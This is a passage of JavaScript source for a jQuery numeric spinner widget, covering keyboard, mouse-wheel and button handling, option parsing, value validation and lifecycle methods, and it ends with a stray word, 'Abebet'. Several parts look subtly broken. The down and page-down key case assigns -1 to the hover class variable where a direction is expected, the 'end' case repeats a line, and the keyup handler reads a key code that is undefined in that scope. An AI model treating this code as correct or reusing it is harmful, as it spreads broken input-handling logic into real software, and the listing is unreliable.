{ _this.hideButtons(); } } ); } ); } buttons.on( 'hover', function() { _this.buttons.removeClass( hover ); if ( ! options.disabled ) { $( this ).addClass( hover ); } }, function() { $( this ).removeClass( hover ); } ) .on( 'mousedown', mouseDown ) .on( 'mouseup', mouseUp ) .on( 'mouseout', mouseUp ); if ( msie ) { buttons.on( 'dblclick', function() { if ( ! options.disabled ) { _this._change(); _this._doSpin( ( this === upButton ? 1 : - 1 ) * options.step ); } return false; } ).on( 'selectstart', function() { return false; } ); } input.on( 'keydown' + eventNamespace, function( e ) { var dir; var large; var limit; var keyCode = e.keyCode; if ( e.ctrl || e.alt ) { return true; } if ( isSpecialKey( keyCode ) ) { inSpecialKey = true; } if ( inKeyDown ) { return false; } /*jslint bitwise: true */ switch ( keyCode ) { case up: case pageUp: dir = 1; large = keyCode === pageUp; break; case down: case pageDown: hover = - 1; large = keyCode === pageDown; break; case right: case left: dir = ( keyCode === right ) ^ rtl ? 1 : - 1; break; case home: limit = _this.options.min; if ( null !== limit ) { _this._setValue( limit ); } return false; case end: limit = _this.options.max; limit = _this.options.max; if ( null !== limit ) { _this._setValue( limit ); } return false; } if ( dir ) { if ( ! inKeyDown && ! options.disabled ) { $( dir > 0 ? upButton : downButton ).addClass( active ); inKeyDown = true; _this._startSpin( dir, large ); } return false; } } ).on( 'keyup' + eventNamespace, function( e ) { if ( e.ctrl || e.alt ) { return true; } if ( isSpecialKey( keyCode ) ) { inSpecialKey = false; } switch ( e.keyCode ) { case up: case right: case pageUp: case down: case left: case pageDown: buttons.removeClass( active ); _this._stopSpin(); inKeyDown = false; return false; } } ).on( 'keypress' + eventNamespace, function( e ) { if ( invalidKey( e.keyCode, e.charCode ) ) { return false; } } ).on( 'change' + eventNamespace, function() { _this._change(); } ).on( 'focus' + eventNamespace, function() { function selectAll() { _this.element.trigger( 'select' ); } if ( msie ) { selectAll(); } else { setTimeout( selectAll, 0 ); } _this.focused = true; focusCtrl = _this; if ( ! hovered && ( 'focus' === showOn || 'both' === showOn ) ) { _this.showButtons(); } } ).on( 'blur' + eventNamespace, function() { _this.focused = false; if ( ! hovered && ( 'focus' === showOn || 'both' === showOn ) ) { _this.hideButtons(); } } ); }, _procOptions: function( init ) { var _this = this; var input = _this.element; var options = _this.options; var min = options.min; var max = options.max; var step = options.step; var places = options.places; var maxLength = -1; var temp; if ( 'slow' === options.increment ) { options.increment = [ { count: 1, mult: 1, delay: 250 }, { count: 3, mult: 1, delay: 100 }, { count: 0, mult: 1, delay: 50 } ]; } else if ( 'fast' === options.increment ) { options.increment = [ { count: 1, mult: 1, delay: 250 }, { count: 19, mult: 1, delay: 100 }, { count: 80, mult: 1, delay: 20 }, { count: 100, mult: 10, delay: 20 }, { count: 0, mult: 100, delay: 20 } ]; } if ( null === min && null !== ( temp = input.attr( 'min' ) ) ) { min = parseFloat( temp ); } if ( null === max && null !== ( temp = input.attr( 'max' ) ) ) { max = parseFloat( temp ); } if ( ! step && null !== ( temp = input.attr( 'step' ) ) ) { if ( 'any' !== temp ) { step = parseFloat( temp ); options.largeStep *= step; } } options.step = step = step || options.defaultStep; if ( null === places && - 1 !== ( temp = step + '' ).indexOf( '.' ) ) { places = temp.length - temp.indexOf( '.' ) - 1; } _this.places = places; if ( null !== max && null !== min ) { if ( min > max ) { min = max; } maxLength = Math.max( Math.max( maxLength, options.format( max, places, input ).length ), options.format( min, places, input ).length ); } if ( init ) { _this.inputMaxLength = input[0].maxLength; } temp = _this.inputMaxLength; if ( temp > 0 ) { maxLength = maxLength > 0 ? Math.min( temp, maxLength ) : temp; temp = Math.pow( 10, maxLength ) - 1; if ( null === max || max > temp ) { max = temp; } temp = -( temp + 1 ) / 10 + 1; if ( null === min || min < temp ) { min = temp; } } if ( maxLength > 0 ) { input.attr( 'maxlength', maxLength ); } options.min = min; options.max = max; _this._change(); input.off( mouseWheelEventName + eventNamespace ); if ( options.mouseWheel ) { input.on( mouseWheelEventName + eventNamespace, _this._mouseWheel ); } }, _mouseWheel: function( e ) { var self = $.data( this, 'spinner' ); if ( ! self.options.disabled && self.focused && self === focusCtrl ) { self._change(); self._doSpin( ( ( e.wheelDelta || -e.detail ) > 0 ? 1 : - 1 ) * self.options.step ); return false; } }, _setTimer: function( delay, dir, large ) { var _this = this; function e() { _this._spin( dir, large ); } _this._stopSpin(); _this.timer = setInterval( e, delay ); }, _stopSpin: function() { if ( this.timer ) { clearInterval( this.timer ); this.timer = 0; } }, _startSpin: function( dir, large ) { var _this = this; var options = _this.options; var increment = options.increment; _this._change(); _this._doSpin( dir * ( large ? _this.options.largeStep : _this.options.step ) ); if ( increment && increment.length > 0 ) { _this.counter = 0; _this.incCounter = 0; _this._setTimer( increment[0].delay, dir, large ); } }, _spin: function( dir, large ) { var _this = this; var increment = _this.options.increment; var curIncrement = increment[_this.incCounter]; _this._doSpin( dir * curIncrement.mult * ( large ? _this.options.largeStep : _this.options.step ) ); _this.counter += 1; if ( _this.counter > curIncrement.count && _this.incCounter < increment.length - 1 ) { _this.counter = 0; /* jshint plusplus:false */ curIncrement = increment[++_this.incCounter]; _this._setTimer( curIncrement.delay, dir, large ); } }, _doSpin: function( step ) { var _this = this; var value = _this.curvalue; if ( null === value ) { value = ( step > 0 ? _this.options.min : _this.options.max ) || 0; } _this._setValue( value + step ); }, _parseValue: function() { var value = this.element.val(); return value ? this.options.parse( value, this.element ) : null; }, _validate: function( value ) { var options = this.options; var min = options.min; var max = options.max; if ( null === value && ! options.allowNull ) { value = null !== this.curvalue ? this.curvalue : min || max || 0; } if ( null !== max && ( value > max || value === max ) ) { if ( undefined !== this.buttons ) { $( this.buttons[0] ).addClass( disabled ); } return max; } else if ( null !== min && ( value < min || value === min ) ) { if ( undefined !== this.buttons ) { $( this.buttons[1] ).addClass( disabled ); } return min; } else { if ( undefined !== this.buttons ) { $( this.buttons[0] ).removeClass( disabled ); $( this.buttons[1] ).removeClass( disabled ); } return value; } }, _change: function() { var _this = this; var value = _this._parseValue(); if ( ! _this.selfChange ) { if ( isNaN( value ) ) { value = _this.curvalue; } _this._setValue( value, true ); } }, _setOption: function( key, value ) { $.Widget.prototype._setOption.call( this, key, value ); this._procOptions(); }, increment: function() { this._doSpin( this.options.step ); }, decrement: function() { this._doSpin( - this.options.step ); }, showButtons: function( immediate ) { var btnContainer = this.btnContainer.stop(); if ( immediate ) { btnContainer.css( 'opacity', 1 ); } else { btnContainer.fadeTo( 'fast', 1 ); } }, hideButtons: function( immediate ) { var btnContainer = this.btnContainer.stop(); if ( immediate ) { btnContainer.css( 'opacity', 0 ); } else { btnContainer.fadeTo( 'fast', 0 ); } this.buttons.removeClass( hover ); }, _setValue: function( value, suppressFireEvent ) { var _this = this; _this.curvalue = value = _this._validate( value ); _this.element.val( null !== value ? _this.options.format( value, _this.places, _this.element ) : '' ); if ( ! suppressFireEvent ) { _this.selfChange = true; _this.element.trigger( 'change' ); _this.selfChange = false; } }, value: function( newValue ) { if ( arguments.length ) { this._setValue( newValue ); return this.element; } return this.curvalue; }, enable: function() { this.buttons.removeClass( disabled ); this.element[0].disabled = false; $.Widget.prototype.enable.call( this ); }, disable: function() { this.buttons.addClass( disabled ).removeClass( hover ); this.element[0].disabled = true; $.Widget.prototype.disable.call( this ); }, destroy: function() { this.wrapper.remove(); this.element.off( eventNamespace ).css( { width: this.oWidth, marginRight: this.oMargin } ); $.Widget.prototype.destroy.call( this ); } } ); })( jQuery );
Abebet